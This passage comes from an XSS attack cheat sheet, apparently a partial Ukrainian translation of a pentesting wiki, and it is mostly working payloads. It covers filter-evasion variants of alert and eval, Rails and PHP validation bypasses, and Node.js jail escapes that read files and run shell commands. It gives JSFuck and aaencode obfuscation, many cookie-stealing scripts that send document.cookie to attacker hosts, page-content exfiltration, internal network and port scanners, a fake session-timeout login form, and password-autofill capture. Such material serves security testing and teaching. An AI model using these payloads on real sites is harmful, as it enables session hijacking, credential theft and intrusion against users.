throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Довільний виклик функції (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Існує JS code, який використовує небезпечні дані, контрольовані атакуючим, наприклад location.href. Атакувальник може зловживати цим для виконання довільного JS-коду.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:

DOM XSS

Там ви знайдете докладне пояснення того, що таке DOM vulnerabilities, як вони викликаються і як їх експлуатувати.
Також не забувайте, що в кінці згаданого матеріалу ви знайдете пояснення про DOM Clobbering attacks.

Upgrading Self-XSS

Якщо ви можете викликати XSS, відправивши payload всередині cookie, це зазвичай Self-XSS. Однак, якщо ви знайдете vulnerable subdomain to XSS, ви можете зловживати цим XSS, щоб інжектувати cookie на весь домен, змусивши спрацювати cookie XSS у головному домені або в інших субдоменах (тих, що вразливі до cookie XSS). Для цього ви можете використати cookie tossing attack:

Cookie Tossing

Ви можете знайти відмінний приклад зловживання цією технікою в this blog post.

Sending your session to the admin

Можливо, користувач може поділитися своїм профілем з admin, і якщо Self-XSS знаходиться в профілі користувача, а admin його відкриє, він спровокує вразливість.

Session Mirroring

Якщо ви знайдете якийсь Self-XSS і веб-сторінка має session mirroring for administrators, наприклад дозволяючи клієнтам просити допомогу, і щоб admin допоміг, він бачитиме те, що бачите ви у своїй сесії, але зі своєї сесії.

Ви можете змусити administrator trigger your self XSS і вкрасти його cookies/session.

Інші обхідні методи

Bypassing sanitization via WASM linear-memory template overwrite

Коли web-додаток використовує Emscripten/WASM, константні рядки (наприклад HTML format stubs) зберігаються в записуваній linear memory. Один in‑WASM overflow (наприклад, unchecked memcpy в шляху редагування) може пошкодити суміжні структури й перенаправити записи до цих констант. Перезапис шаблону, такого як “

%.*s

” на “”, перетворює відфільтрований input на значення JavaScript handler і дає миттєвий DOM XSS при рендері.

Перегляньте присвячену сторінку з exploitation workflow, DevTools memory helpers, і defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Ви можете перевірити, чи reflected values нормалізуються як unicode normalized на сервері (або на клієнті) і зловживати цією функціональністю для обходу захистів. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Через RoR mass assignment лапки вставляються в HTML, і таким чином обмеження лапок обходиться, що дозволяє додавати додаткові поля (onfocus) всередині тега.
Form example (from this report), if you send the payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Пара “Key”,“Value” буде відображена так:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Тоді буде вставлено атрибут onfocus і відбудеться XSS.

Спеціальні комбінації

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS при ін’єкції заголовків у 302 Redirect response

Якщо ви виявите, що можете inject headers in a 302 Redirect response, ви можете спробувати заставити браузер виконати довільний JavaScript. Це не тривіально, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо HTTP response status code — 302, тому просто cross-site scripting payload марний.

In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Тільки літери, цифри та крапки

Якщо ви можете вказати callback, який javascript збирається execute, обмежений лише цими символами. Read this section of this post щоб дізнатися, як зловживати цією поведінкою.

Valid <script> Content-Types to XSS

(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Типи скриптів для XSS

here) Отже, які типи можуть бути вказані для завантаження скрипту?

<script type="???"></script>

Відповідь:

  • module (за замовчуванням, нічого пояснювати)
  • webbundle: Web Bundles — це функція, що дозволяє упаковувати набір даних (HTML, CSS, JS…) у файл .wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Дозволяє покращити синтаксис імпортів
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Цю поведінку використали в this writeup, щоб переназначити бібліотеку на eval — зловживання цим може спричинити XSS.

  • speculationrules: Ця функція в основному вирішує деякі проблеми, спричинені попереднім рендерингом. Працює це так:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types to XSS

here) Наступні Content-Types можуть виконувати XSS у всіх браузерах:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? не в списку, але, здається, я бачив це на CTF)
  • application/rss+xml (не працює)
  • application/atom+xml (не працює)

В інших браузерах інші Content-Types можуть використовуватися для виконання довільного JS, див.: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Тип вмісту

Якщо сторінка повертає content-type text/xml, можна вказати простір імен і виконати довільний JS:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Спеціальні шаблони заміни

Якщо використовується щось на кшталт "some {{template}} data".replace("{{template}}", <user_input>). Атакуючий може використати special string replacements щоб спробувати обійти деякі захисти: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

For example in this writeup, this was used to scape a JSON string inside a script and execute arbitrary code.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Якщо у вас є обмежений набір символів для використання, перегляньте інші дійсні рішення для проблем XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Якщо everything is undefined перед виконанням untrusted code (наприклад, у this writeup), можливо згенерувати корисні об’єкти “із нічого”, щоб зловживати виконанням arbitrary untrusted code:

  • Використовуючи import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Доступ до require опосередковано

According to this модулі в Node.js обгорнуті функцією, як показано нижче:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Отже, якщо з того модуля ми можемо викликати іншу функцію, можна використати arguments.callee.caller.arguments[1] з тієї функції, щоб отримати доступ до require:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Так само, як у попередньому прикладі, можна use error handlers для доступу до wrapper модуля та отримати функцію require:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Обфускація та просунуті обходи

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS поширені payloads

Кілька payloads в одному

Steal Info JS

Iframe Trap

Примусити користувача переміщатися по сторінці, не виходячи з iframe, і вкрасти його дії (включаючи інформацію, відправлену у формах):

Iframe Traps

Отримати Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Ви не зможете отримати доступ до cookies з JavaScript, якщо прапорець HTTPOnly встановлено в cookie. Але тут у вас є some ways to bypass this protection, якщо вам пощастить.

Вкрасти вміст сторінки

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Знайти внутрішні IP-адреси

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Короткий час вказує на те, що порт відповідає Більший час вказує на відсутність відповіді.

Перегляньте список портів, заборонених у Chrome here та у Firefox here.

Вікно для запиту облікових даних

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Перехоплення автозаповнення паролів

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

